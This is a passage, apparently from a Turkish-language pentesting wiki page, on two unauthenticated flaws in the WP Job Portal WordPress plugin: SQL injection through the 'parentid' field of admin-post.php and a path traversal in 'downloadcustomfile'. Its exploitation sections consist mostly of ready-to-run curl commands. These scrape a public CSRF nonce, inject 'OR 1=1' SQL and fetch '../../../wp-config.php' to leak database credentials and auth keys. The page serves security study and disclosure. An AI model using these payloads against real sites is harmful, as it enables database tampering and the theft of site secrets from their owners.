  2. WHERE cümlesinde string birleştirme is_numeric() / esc_sql() / prepared statement yok.
  3. Kimliksız erişilebilirlik işlem admin-post.php üzerinden çalıştırılıyor olmasına rağmen, yerdeki tek kontrol CSRF nonce (wp_verify_nonce()), bu nonce'u herhangi bir ziyaretçi [wpjobportal_my_resumes] shortcode'unu içeren bir açık sayfadan alabilir.

İstismar

  1. Taze bir nonce alın:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid'i kötüye kullanarak arbitrary SQL enjekte edin:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Yanıt enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirerek SQLi'yi kanıtlar.

Kimliksız Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Başka bir görev, downloadcustomfile, ziyaretçilere path traversal yoluyla diskteki herhangi bir dosyayı indirme izni veriyordu. Zayıf sink şu dosyada bulunur: modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name saldırgan tarafından kontrol ediliyor ve girdi temizleme uygulanmadan birleştiriliyor. Yine, tek engel CSRF nonce olup bu nonce özgeçmiş sayfasından alınabilir.

İstismar

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Sunucu wp-config.php içeriğini döndürüyor, leaking DB credentials and auth keys.

Referanslar

{{#include ../../banners/hacktricks-training.md}}